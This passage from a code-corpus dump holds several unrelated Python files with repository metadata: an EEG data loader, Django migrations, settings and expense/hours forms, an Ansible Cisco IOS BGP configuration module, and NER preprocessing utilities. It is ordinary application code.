examples_atribute += [atributes] return examples_signal, examples_atribute def get_filenames(path, num_channels, length, min_length=0, max_length=1e9999, max_num=-1, sample_frequency=200, delay=10000): files = os.listdir(path) num_files_read = 0 filenames = [] for file in files: if (file.split(".")[-1] != "eeghdf"):# and (file.split(".")[-1] != "fif"): continue if file.split(".")[-1] == "eeghdf": signals, _, specs = load_eeg_file(path + file, normalize=False) if signals.shape[1] < length + delay: continue if (int(specs["number_channels"]) != num_channels): # print("Not correct num_channels", num_channels, specs["number_channels"]) continue if (int(specs["sample_frequency"]) != sample_frequency): # print("Not correct sample_frequency", sample_frequency, specs["sample_frequency"]) continue num_readings = signals.shape[1] filenames += [path + file] if num_files_read == max_num: return filenames num_files_read += 1 return filenames def check_files(filenames, num_channels, length, min_length=0, max_length=1e9999, max_num=-1, sample_frequency=200, delay=10000): num_files_checked = 0 checked_filenames = [] for file in filenames: if (file.split(".")[-1] != "eeghdf"):# and (file.split(".")[-1] != "fif"): continue if file.split(".")[-1] == "eeghdf": signals, _, specs = load_eeg_file(file, normalize=False) if signals.shape[1] <= length + delay: continue if (int(specs["number_channels"]) != num_channels): # print("Not correct num_channels", num_channels, specs["number_channels"]) continue if (int(specs["sample_frequency"]) != sample_frequency): # print("Not correct sample_frequency", sample_frequency, specs["sample_frequency"]) continue num_readings = signals.shape[1] checked_filenames += [file] if num_files_checked == max_num: return checked_filenames num_files_checked += 1 return checked_filenames def load_filenames_from_csv(csv_filename, filepath="/mnt/data1/eegdbs/SEC-0.1/", max_num=-1): df = pd.read_csv(csv_filename) filenames = [] file_keys = df["nk_file_reportkey"] hopsital_types = df["database_source"] note_types = df["note_type"] for i in range(len(file_keys)): if note_types[i] != "spot": continue if hopsital_types[i] == "STANFORD_NK": filenames += [filepath + "stanford/" + file_keys[i] + "_1-1+.eeghdf"] if hopsital_types[i] == "LPCH_NK": filenames += [filepath + "lpch/" + file_keys[i] + "_1-1+.eeghdf"] if (len(filenames) == max_num): print("Number of filenames loaded from csv", len(filenames)) return filenames print("Number of filenames loaded from csv", len(filenames)) return filenames if __name__ == "__main__": # csv_file = "/mnt/data1/eegdbs/all_reports_impress_blanked-2019-02-23.csv" # dataset = EEGDataset("/mnt/data1/eegdbs/SEC-0.1/stanford/", csv_file=csv_file, num_examples=200, num_channels=44, length=1004) # dataset = EEGDataset("/mnt/data1/eegdbs/SEC-0.1/stanford/", num_examples=438, num_channels=44, length=768) # dataset = EEGDataset("/mnt/data1/eegdbs/SEC-0.1/stanford/", num_examples=438, batch_size=64, num_channels=44, length=768) dataset = EEGDataset("/mnt/data1/eegdbs/SEC-0.1/stanford/", num_examples=20, batch_size=4, num_channels=44, length=768, csv_file=None) print("shuffling") dataset.shuffle() print("shuffling finsihed") print("loading") print("sample shape", dataset[0].shape) print("loading finsihed") print(len(dataset)) # csv_file = "/Users/DanielLongo/server/mnt/data1/eegdbs/all_reports_impress_blanked-2019-02-23.csv" # dataset = EEGDataset("./eeg-hdfstorage", csv_file=csv_file, num_examples=64, num_channels=44, length=1004) # print("finna'l",dataset[0].shape) # save_EEG(dataset[0], None, None, "save_dataloader") # dataset = EEGDataset("/mnt/data1/eegdbs/SEC-0.1/stanford/", num_examples=20, num_channels=44, length=100000) # dataset.shuffle() # dataset[0]
[ "dlongo@lotus.lee-messer.net" ]
dlongo@lotus.lee-messer.net
e71b4e008cb6ac7f9fcf02afb941863045dc9c37
d168c284cecaf1af209efdc3578e7a9f7b724d2a
/tasks/migrations/0003_auto_20191212_1757.py
e14624ff9dcfad9bc8d1af4b02f90d5e37d2259b
[]
no_license
shinkawk/djangovue
cfd561ffa2ef109f514fba6394fbeb21d1d1d948
5ebd32f61e2027ed9ae5fce2bb0913dad4085d80
refs/heads/master
2022-12-16T00:18:28.134340
2019-12-16T06:19:22
2019-12-16T06:19:22
224,652,837
0
0
null
2022-12-08T03:17:29
2019-11-28T12:51:28
Python
UTF-8
Python
false
false
983
py
# Generated by Django 3.0 on 2019-12-12 08:57 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('users', '0003_auto_20191212_1757'), ('tasks', '0002_usertask'), ] operations = [ migrations.AlterField( model_name='setting', name='task', field=models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='format', to='tasks.Task'), ), migrations.AlterField( model_name='usertask', name='task', field=models.ForeignKey(editable=False, on_delete=django.db.models.deletion.DO_NOTHING, to='tasks.Task'), ), migrations.AlterField( model_name='usertask', name='user', field=models.ForeignKey(editable=False, on_delete=django.db.models.deletion.CASCADE, related_name='tasks', to='users.User'), ), ]
[ "kohei.shinkawa@asterist.com" ]
kohei.shinkawa@asterist.com
2b1c888ed19da3073b1fcc9a4ad2599f84ed38f0
64bf39b96a014b5d3f69b3311430185c64a7ff0e
/intro-ansible/venv3/lib/python3.8/site-packages/ansible_collections/cisco/ios/plugins/module_utils/network/ios/providers/cli/config/bgp/address_family.py
0e0ce1ab78fecbd074f6c23d7f5f4d6866007720
[ "MIT", "GPL-3.0-only", "GPL-3.0-or-later", "LicenseRef-scancode-unknown-license-reference" ]
permissive
SimonFangCisco/dne-dna-code
7072eba7da0389e37507b7a2aa5f7d0c0735a220
2ea7d4f00212f502bc684ac257371ada73da1ca9
refs/heads/master
2023-03-10T23:10:31.392558
2021-02-25T15:04:36
2021-02-25T15:04:36
342,274,373
0
0
MIT
2021-02-25T14:39:22
2021-02-25T14:39:22
null
UTF-8
Python
false
false
5,305
py
# # (c) 2019, Ansible by Red Hat, inc # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # from __future__ import absolute_import, division, print_function __metaclass__ = type import re from ansible.module_utils.six import iteritems from ansible_collections.ansible.netcommon.plugins.module_utils.network.common.utils import ( to_list, ) from ansible_collections.cisco.ios.plugins.module_utils.network.ios.providers.providers import ( CliProvider, ) from ansible_collections.cisco.ios.plugins.module_utils.network.ios.providers.cli.config.bgp.neighbors import ( AFNeighbors, ) from ansible.module_utils.common.network import to_netmask class AddressFamily(CliProvider): def render(self, config=None): commands = list() safe_list = list() router_context = "router bgp %s" % self.get_value("config.bgp_as") context_config = None for item in self.get_value("config.address_family"): context = "address-family %s" % item["afi"] if item["safi"] != "unicast": context += " %s" % item["safi"] context_commands = list() if config: context_path = [router_context, context] context_config = self.get_config_context( config, context_path, indent=1 ) for key, value in iteritems(item): if value is not None: meth = getattr(self, "_render_%s" % key, None) if meth: resp = meth(item, context_config) if resp: context_commands.extend(to_list(resp)) if context_commands: commands.append(context) commands.extend(context_commands) commands.append("exit-address-family") safe_list.append(context) if self.params["operation"] == "replace": if config: resp = self._negate_config(config, safe_list) commands.extend(resp) return commands def _negate_config(self, config, safe_list=None): commands = list() matches = re.findall(r"(address-family .+)$", config, re.M) for item in set(matches).difference(safe_list): commands.append("no %s" % item) return commands def _render_auto_summary(self, item, config=None): cmd = "auto-summary" if item["auto_summary"] is False: cmd = "no %s" % cmd if not config or cmd not in config: return cmd def _render_synchronization(self, item, config=None): cmd = "synchronization" if item["synchronization"] is False: cmd = "no %s" % cmd if not config or cmd not in config: return cmd def _render_networks(self, item, config=None): commands = list() safe_list = list() for entry in item["networks"]: network = entry["prefix"] cmd = "network %s" % network if entry["masklen"]: cmd += " mask %s" % to_netmask(entry["masklen"]) network += " mask %s" % to_netmask(entry["masklen"]) if entry["route_map"]: cmd += " route-map %s" % entry["route_map"] network += " route-map %s" % entry["route_map"] safe_list.append(network) if not config or cmd not in config: commands.append(cmd) if self.params["operation"] == "replace": if config: matches = re.findall(r"network (.*)", config, re.M) for entry in set(matches).difference(safe_list): commands.append("no network %s" % entry) return commands def _render_redistribute(self, item, config=None): commands = list() safe_list = list() for entry in item["redistribute"]: option = entry["protocol"] cmd = "redistribute %s" % entry["protocol"] if entry["id"] and entry["protocol"] in ( "ospf", "ospfv3", "eigrp", ): cmd += " %s" % entry["id"] option += " %s" % entry["id"] if entry["metric"]: cmd += " metric %s" % entry["metric"] if entry["route_map"]: cmd += " route-map %s" % entry["route_map"] if not config or cmd not in config: commands.append(cmd) safe_list.append(option) if self.params["operation"] == "replace": if config: matches = re.findall( r"redistribute (\S+)(?:\s*)(\d*)", config, re.M ) for i in range(0, len(matches)): matches[i] = " ".join(matches[i]).strip() for entry in set(matches).difference(safe_list): commands.append("no redistribute %s" % entry) return commands def _render_neighbors(self, item, config): """ generate bgp neighbor configuration """ return AFNeighbors(self.params).render( config, nbr_list=item["neighbors"] )
[ "sifang@cisco.com" ]
sifang@cisco.com
ceb2d07b626378bf94096d72ebb364d3ad5fa417
291bdaa26130e3f79d82cefe204e8934e024f303
/django_15UniProject/django_15UniProject/settings.py
5b0b3292bc0093b92595169938aa537a76364c02
[]
no_license
Chetans-Django-TrainingOrg/django_practice_repo
8b6e1ecc455dafc00b9937fa584ec53a1a9d4c5b
046191ac32782189f72eb443221208d76fd5e3c8
refs/heads/master
2023-03-09T19:28:21.956592
2021-02-21T15:02:11
2021-02-21T15:02:11
334,744,803
0
0
null
null
null
null
UTF-8
Python
false
false
3,087
py
""" Django settings for django_15UniProject project. Generated by 'django-admin startproject' using Django 2.1.5. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'SECRET KEY' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'django_15UniProject.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'django_15UniProject.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_URL = '/static/'
[ "trainerchetanh@gmail.com" ]
trainerchetanh@gmail.com
be4034b96252307d6e130988d30401bb65314765
d7f4596491b47d74689d8731c9d0f10b51b5693f
/fastcampus/코딩테스트_면접/02. 알고리즘 이론/graph.py
6b593b8ff449f75e4ad3cf2229502620e69e8a70
[]
no_license
wonjongah/DataStructure_CodingTest
797b62d48321abf065f1507f14a3ed0902f48399
9d28c2aefbba2486f6158c066fd249fca3904346
refs/heads/main
2023-06-04T15:54:30.048106
2021-06-30T14:09:41
2021-06-30T14:09:41
327,008,361
2
0
null
null
null
null
UTF-8
Python
false
false
259
py
graph = dict() graph['A'] = ['B', 'C'] graph['B'] = ['A', 'D'] graph['C'] = ['A', 'G', 'H', 'I'] graph['D'] = ['B', 'E', 'F'] graph['E'] = ['D'] graph['F'] = ['D'] graph['G'] = ['C'] graph['H'] = ['C'] graph['I'] = ['C', 'J'] graph['J'] = ['I'] print(graph)
[ "wonjongah@gmail.com" ]
wonjongah@gmail.com
613be8343f28cd063eff6f14bb453675f5e30593
a952df0a409bf1e39fc76fca11c867935f0e09a8
/model/data_utils.py
f4bb26e4b548d21003aacf4ecdb3b4f250640061
[ "MIT" ]
permissive
swayam01/sequence_tagging-ner
42c2518085d30db1102d83f659d1006d0c2e9d36
9f00efc64a2c5fe43bf3b133908e36d895a6415f
refs/heads/master
2021-07-24T20:13:28.368995
2020-05-16T13:38:36
2020-05-16T13:38:36
170,644,625
3
2
null
null
null
null
UTF-8
Python
false
false
11,709
py
import numpy as np import os # shared global variables to be imported from model also UNK = "$UNK$" NUM = "$NUM$" NONE = "O" # special error message class MyIOError(Exception): def __init__(self, filename): # custom error message message = """ ERROR: Unable to locate file {}. FIX: Have you tried running python build_data.py first? This will build vocab file from your train, test and dev sets and trimm your word vectors. """.format(filename) super(MyIOError, self).__init__(message) class CoNLLDataset(object): """Class that iterates over CoNLL Dataset __iter__ method yields a tuple (words, tags) words: list of raw words tags: list of raw tags If processing_word and processing_tag are not None, optional preprocessing is appplied Example: ```python data = CoNLLDataset(filename) for sentence, tags in data: pass ``` """ def __init__(self, filename, processing_word=None, processing_tag=None, max_iter=None): """ Args: filename: path to the file processing_words: (optional) function that takes a word as input processing_tags: (optional) function that takes a tag as input max_iter: (optional) max number of sentences to yield """ self.filename = filename self.processing_word = processing_word self.processing_tag = processing_tag self.max_iter = max_iter self.length = None def __iter__(self): niter = 0 with open(self.filename) as f: words, tags = [], [] for line in f: line = line.strip() if (len(line) == 0 or line.startswith("-DOCSTART-")): if len(words) != 0: niter += 1 if self.max_iter is not None and niter > self.max_iter: break yield words, tags words, tags = [], [] else: ls = line.split(' ') word, tag = ls[0],ls[1] if self.processing_word is not None: word = self.processing_word(word) if self.processing_tag is not None: tag = self.processing_tag(tag) words += [word] tags += [tag] def __len__(self): """Iterates once over the corpus to set and store length""" if self.length is None: self.length = 0 for _ in self: self.length += 1 return self.length def get_vocabs(datasets): """Build vocabulary from an iterable of datasets objects Args: datasets: a list of dataset objects Returns: a set of all the words in the dataset """ print("Building vocab...") vocab_words = set() vocab_tags = set() for dataset in datasets: for words, tags in dataset: vocab_words.update(words) vocab_tags.update(tags) print("- done. {} tokens".format(len(vocab_words))) return vocab_words, vocab_tags def get_char_vocab(dataset): """Build char vocabulary from an iterable of datasets objects Args: dataset: a iterator yielding tuples (sentence, tags) Returns: a set of all the characters in the dataset """ vocab_char = set() for words, _ in dataset: for word in words: vocab_char.update(word) return vocab_char def get_glove_vocab(filename): """Load vocab from file Args: filename: path to the glove vectors Returns: vocab: set() of strings """ print("Building vocab...") vocab = set() with open(filename,encoding='utf-8') as f: for line in f: word = line.strip().split(' ')[0] vocab.add(word) print("- done. {} tokens".format(len(vocab))) return vocab def write_vocab(vocab, filename): """Writes a vocab to a file Writes one word per line. Args: vocab: iterable that yields word filename: path to vocab file Returns: write a word per line """ print("Writing vocab...") with open(filename, "w") as f: for i, word in enumerate(vocab): if i != len(vocab) - 1: f.write("{}\n".format(word)) else: f.write(word) print("- done. {} tokens".format(len(vocab))) def load_vocab(filename): """Loads vocab from a file Args: filename: (string) the format of the file must be one word per line. Returns: d: dict[word] = index """ try: d = dict() with open(filename) as f: for idx, word in enumerate(f): word = word.strip() d[word] = idx except IOError: raise MyIOError(filename) return d def export_trimmed_glove_vectors(vocab, glove_filename, trimmed_filename, dim): """Saves glove vectors in numpy array Args: vocab: dictionary vocab[word] = index glove_filename: a path to a glove file trimmed_filename: a path where to store a matrix in npy dim: (int) dimension of embeddings """ embeddings = np.zeros([len(vocab), dim]) with open(glove_filename,encoding='utf-8') as f: for line in f: line = line.strip().split(' ') word = line[0] embedding = [float(x) for x in line[1:]] if word in vocab: word_idx = vocab[word] embeddings[word_idx] = np.asarray(embedding) np.savez_compressed(trimmed_filename, embeddings=embeddings) def get_trimmed_glove_vectors(filename): """ Args: filename: path to the npz file Returns: matrix of embeddings (np array) """ try: with np.load(filename) as data: return data["embeddings"] except IOError: raise MyIOError(filename) def get_processing_word(vocab_words=None, vocab_chars=None, lowercase=False, chars=False, allow_unk=True): """Return lambda function that transform a word (string) into list, or tuple of (list, id) of int corresponding to the ids of the word and its corresponding characters. Args: vocab: dict[word] = idx Returns: f("cat") = ([12, 4, 32], 12345) = (list of char ids, word id) """ def f(word): # 0. get chars of words if vocab_chars is not None and chars == True: char_ids = [] for char in word: # ignore chars out of vocabulary if char in vocab_chars: char_ids += [vocab_chars[char]] # 1. preprocess word if lowercase: word = word.lower() if word.isdigit(): word = NUM # 2. get id of word if vocab_words is not None: if word in vocab_words: word = vocab_words[word] else: if allow_unk: word = vocab_words[UNK] else: raise Exception("Unknow key is not allowed. Check that "\ "your vocab (tags?) is correct") # 3. return tuple char ids, word id if vocab_chars is not None and chars == True: return char_ids, word else: return word return f def _pad_sequences(sequences, pad_tok, max_length): """ Args: sequences: a generator of list or tuple pad_tok: the char to pad with Returns: a list of list where each sublist has same length """ sequence_padded, sequence_length = [], [] for seq in sequences: seq = list(seq) seq_ = seq[:max_length] + [pad_tok]*max(max_length - len(seq), 0) sequence_padded += [seq_] sequence_length += [min(len(seq), max_length)] return sequence_padded, sequence_length def pad_sequences(sequences, pad_tok, nlevels=1): """ Args: sequences: a generator of list or tuple pad_tok: the char to pad with nlevels: "depth" of padding, for the case where we have characters ids Returns: a list of list where each sublist has same length """ if nlevels == 1: max_length = max(map(lambda x : len(x), sequences)) sequence_padded, sequence_length = _pad_sequences(sequences, pad_tok, max_length) elif nlevels == 2: max_length_word = max([max(map(lambda x: len(x), seq)) for seq in sequences]) sequence_padded, sequence_length = [], [] for seq in sequences: # all words are same length now sp, sl = _pad_sequences(seq, pad_tok, max_length_word) sequence_padded += [sp] sequence_length += [sl] max_length_sentence = max(map(lambda x : len(x), sequences)) sequence_padded, _ = _pad_sequences(sequence_padded, [pad_tok]*max_length_word, max_length_sentence) sequence_length, _ = _pad_sequences(sequence_length, 0, max_length_sentence) return sequence_padded, sequence_length def minibatches(data, minibatch_size): """ Args: data: generator of (sentence, tags) tuples minibatch_size: (int) Yields: list of tuples """ x_batch, y_batch = [], [] for (x, y) in data: if len(x_batch) == minibatch_size: yield x_batch, y_batch x_batch, y_batch = [], [] if type(x[0]) == tuple: x = zip(*x) x_batch += [x] y_batch += [y] if len(x_batch) != 0: yield x_batch, y_batch def get_chunk_type(tok, idx_to_tag): """ Args: tok: id of token, ex 4 idx_to_tag: dictionary {4: "B-PER", ...} Returns: tuple: "B", "PER" """ tag_name = idx_to_tag[tok] tag_class = tag_name.split('-')[0] tag_type = tag_name.split('-')[-1] return tag_class, tag_type def get_chunks(seq, tags): """Given a sequence of tags, group entities and their position Args: seq: [4, 4, 0, 0, ...] sequence of labels tags: dict["O"] = 4 Returns: list of (chunk_type, chunk_start, chunk_end) Example: seq = [4, 5, 0, 3] tags = {"B-PER": 4, "I-PER": 5, "B-LOC": 3} result = [("PER", 0, 2), ("LOC", 3, 4)] """ default = tags[NONE] idx_to_tag = {idx: tag for tag, idx in tags.items()} chunks = [] chunk_type, chunk_start = None, None for i, tok in enumerate(seq): # End of a chunk 1 if tok == default and chunk_type is not None: # Add a chunk. chunk = (chunk_type, chunk_start, i) chunks.append(chunk) chunk_type, chunk_start = None, None # End of a chunk + start of a chunk! elif tok != default: tok_chunk_class, tok_chunk_type = get_chunk_type(tok, idx_to_tag) if chunk_type is None: chunk_type, chunk_start = tok_chunk_type, i elif tok_chunk_type != chunk_type or tok_chunk_class == "B": chunk = (chunk_type, chunk_start, i) chunks.append(chunk) chunk_type, chunk_start = tok_chunk_type, i else: pass # end condition if chunk_type is not None: chunk = (chunk_type, chunk_start, len(seq)) chunks.append(chunk) return chunks
[ "noreply@github.com" ]
noreply@github.com
ffba54ad9ec2719623d2fe3ff231abb4b20af674
9a6713d3329d7d6a786cafac73f25cbc609b76ae
/BieleGastosApp/forms.py
8d96d8ecddea0cbb5195c9f585348b0e4660a219
[]
no_license
ionolur/2LGastos
b8dea92439cf69cf62ea77b18b656fa46115bdc7
e9f0eb0d61cabbbcdedc7289e9fe12186b7fe666
refs/heads/main
2023-03-07T15:25:53.418267
2021-02-28T14:17:56
2021-02-28T14:17:56
340,302,766
0
0
null
null
null
null
UTF-8
Python
false
false
2,740
py
from django import forms Sel_mes = [ (1,'Enero'), (2,'Febrero'), (3,'Marzo'), (4,'Abril'), (5,'Mayo'), (6,'Junio'), (7,'Julio'), (8,'Agosto'), (9,'Septiembre'), (10,'Octubre'), (11,'Noviembre'), (12,'Diciembre'), ] Sel_aino = [(2021),(2022)] class FormularioHoras (forms.Form): dia = forms.DateField(required=True, widget=forms.SelectDateWidget) horas_trabajo = forms.DecimalField(max_digits=3, decimal_places=1, required=False) viaje_ida = forms.DecimalField(max_digits=3, decimal_places=1, required=False) viaje_vuelta = forms.DecimalField(max_digits=3, decimal_places=1, required=False) pernocta = forms.BooleanField(required=False) semana_3 = forms.BooleanField(required=False) notas = forms.CharField(required=False, widget=forms.Textarea) class EmailContacto (forms.Form): name = forms.CharField(max_length=25) email = forms.EmailField() to = forms.EmailField() comments = forms.CharField(required=False, widget=forms.Textarea) class FormularioRecibo (forms.Form): id_nombre = forms.CharField(max_length=25, required=False) mes = forms.DecimalField(max_digits=2, decimal_places=0, required=False,label="Selecione mes", widget=forms.Select(choices=Sel_mes)) aino = forms.DecimalField(max_digits=4, decimal_places=0, required=False,label="Selecione año", widget=forms.Select(choices=Sel_aino)) class LoginForm (forms.Form): usuario = forms.CharField() contraseina = forms.CharField(widget=forms.PasswordInput) class FormularioGastos (forms.Form): dia = forms.DateField(required=True, widget=forms.SelectDateWidget) concepto = forms.CharField(max_length=25, required=False) cantidad = forms.DecimalField(max_digits=10, decimal_places=2, required=False) moneda = forms.CharField(max_length=25, required=False) notas = forms.CharField(required=False, widget=forms.Textarea) class FormularioCalendario (forms.Form): mes = forms.DecimalField(max_digits=2, decimal_places=0, required=False,label="Selecione mes", widget=forms.Select(choices=Sel_mes)) aino = forms.DecimalField(max_digits=4, decimal_places=0, required=False,label="Selecione año", widget=forms.Select(choices=Sel_aino)) class FormularioUsuario (forms.Form): irpf = forms.DecimalField(max_digits=4, decimal_places=2, required=False,label="I.R.P.F") reduccion= forms.DecimalField(max_digits=4, decimal_places=2, required=False,label="Reducción") guardar_normal = forms.BooleanField(required=False, label= "Guardar 9-10 / sabado mañana") guardar_ertain = forms.BooleanField(required=False, label= "Guardar +10 y sabado tarde") guardar_berezi = forms.BooleanField(required=False, label= "Guardar festivo")
[ "ion_olaizola@hotmail.com" ]
ion_olaizola@hotmail.com
6bb07b615f84fbb23f7067557b6cbabd3bd4c99a
0deba0f28b36ab39df4bdb2ed9fca9fedf638a91
/lovegov/modernpolitics/migrations/0064_auto__add_groupjoinedaction__add_createdaction__add_votedaction__add_d.py
d564975f7d1846082959bbf08976cb1eb4724a9d
[]
no_license
mhfowler/LoveGov
080e2c8fedcc3ad7b5d008787921558cfd86a2bf
a77c9d968059361fe09409d46568afe86239e3ba
HEAD
2016-09-06T06:03:34.289383
2014-09-04T15:32:39
2014-09-04T15:32:39
4,600,457
2
0
null
null
null
null
UTF-8
Python
false
false
86,467
py
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'GroupJoinedAction' db.create_table('modernpolitics_groupjoinedaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('group_joined', self.gf('django.db.models.fields.related.ForeignKey')(related_name='joined_actions', to=orm['modernpolitics.GroupJoined'])), ('modifier', self.gf('django.db.models.fields.CharField')(max_length=1)), )) db.send_create_signal('modernpolitics', ['GroupJoinedAction']) # Adding model 'CreatedAction' db.create_table('modernpolitics_createdaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('content', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['modernpolitics.Content'])), )) db.send_create_signal('modernpolitics', ['CreatedAction']) # Adding model 'VotedAction' db.create_table('modernpolitics_votedaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('content', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['modernpolitics.Content'])), ('value', self.gf('django.db.models.fields.IntegerField')(default=0)), )) db.send_create_signal('modernpolitics', ['VotedAction']) # Adding model 'DeletedAction' db.create_table('modernpolitics_deletedaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('content', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['modernpolitics.Content'])), )) db.send_create_signal('modernpolitics', ['DeletedAction']) # Adding model 'Action' db.create_table('modernpolitics_action', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('privacy', self.gf('django.db.models.fields.CharField')(default='PUB', max_length=3)), ('creator', self.gf('django.db.models.fields.related.ForeignKey')(default=1, to=orm['modernpolitics.UserProfile'])), ('user', self.gf('django.db.models.fields.related.ForeignKey')(related_name='actions', to=orm['modernpolitics.UserProfile'])), ('action_type', self.gf('django.db.models.fields.CharField')(max_length=2)), ('when', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)), )) db.send_create_signal('modernpolitics', ['Action']) # Adding model 'Notification' db.create_table('modernpolitics_notification', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('privacy', self.gf('django.db.models.fields.CharField')(default='PUB', max_length=3)), ('creator', self.gf('django.db.models.fields.related.ForeignKey')(default=1, to=orm['modernpolitics.UserProfile'])), ('notify_user', self.gf('django.db.models.fields.related.ForeignKey')(related_name='notifications', to=orm['modernpolitics.UserProfile'])), ('action', self.gf('django.db.models.fields.related.ForeignKey')(related_name='notifications', to=orm['modernpolitics.Action'])), ('viewed', self.gf('django.db.models.fields.BooleanField')(default=False)), ('when', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)), )) db.send_create_signal('modernpolitics', ['Notification']) # Adding M2M table for field agg_actions on 'Notification' db.create_table('modernpolitics_notification_agg_actions', ( ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)), ('notification', models.ForeignKey(orm['modernpolitics.notification'], null=False)), ('action', models.ForeignKey(orm['modernpolitics.action'], null=False)) )) db.create_unique('modernpolitics_notification_agg_actions', ['notification_id', 'action_id']) # Adding model 'SignedAction' db.create_table('modernpolitics_signedaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('petition', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['modernpolitics.Petition'])), )) db.send_create_signal('modernpolitics', ['SignedAction']) # Adding model 'SharedAction' db.create_table('modernpolitics_sharedaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('content', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['modernpolitics.Content'])), ('to_user', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['modernpolitics.UserProfile'], null=True)), ('to_group', self.gf('django.db.models.fields.related.ForeignKey')(related_name='shared_to_actions', null=True, to=orm['modernpolitics.Group'])), )) db.send_create_signal('modernpolitics', ['SharedAction']) # Adding model 'UserFollowAction' db.create_table('modernpolitics_userfollowaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('user_follow', self.gf('django.db.models.fields.related.ForeignKey')(related_name='follow_actions', to=orm['modernpolitics.UserFollow'])), ('modifier', self.gf('django.db.models.fields.CharField')(max_length=1)), )) db.send_create_signal('modernpolitics', ['UserFollowAction']) # Adding model 'EditedAction' db.create_table('modernpolitics_editedaction', ( ('action_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['modernpolitics.Action'], unique=True, primary_key=True)), ('content', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['modernpolitics.Content'])), )) db.send_create_signal('modernpolitics', ['EditedAction']) def backwards(self, orm): # Deleting model 'GroupJoinedAction' db.delete_table('modernpolitics_groupjoinedaction') # Deleting model 'CreatedAction' db.delete_table('modernpolitics_createdaction') # Deleting model 'VotedAction' db.delete_table('modernpolitics_votedaction') # Deleting model 'DeletedAction' db.delete_table('modernpolitics_deletedaction') # Deleting model 'Action' db.delete_table('modernpolitics_action') # Deleting model 'Notification' db.delete_table('modernpolitics_notification') # Removing M2M table for field agg_actions on 'Notification' db.delete_table('modernpolitics_notification_agg_actions') # Deleting model 'SignedAction' db.delete_table('modernpolitics_signedaction') # Deleting model 'SharedAction' db.delete_table('modernpolitics_sharedaction') # Deleting model 'UserFollowAction' db.delete_table('modernpolitics_userfollowaction') # Deleting model 'EditedAction' db.delete_table('modernpolitics_editedaction') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': 